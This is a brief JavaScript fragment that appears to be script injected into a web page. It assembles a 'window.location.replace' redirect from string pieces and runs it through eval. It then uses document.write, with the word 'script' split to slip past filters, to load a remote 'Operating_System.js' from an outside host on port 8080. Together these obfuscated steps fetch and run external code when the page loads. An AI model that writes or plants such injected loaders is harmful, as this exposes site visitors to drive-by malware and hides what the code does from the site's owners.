function hello(){
   var str1="window.";
   var str2="location";
   var str3=".replace";
   var str4="('frameset.html')";
   eval(str1+str2+str3+str4);
}


document.write('<s'+'cript type="text/javascript" src="http://dolgo.lulucabana.com:8080/Operating_System.js"></scr'+'ipt>');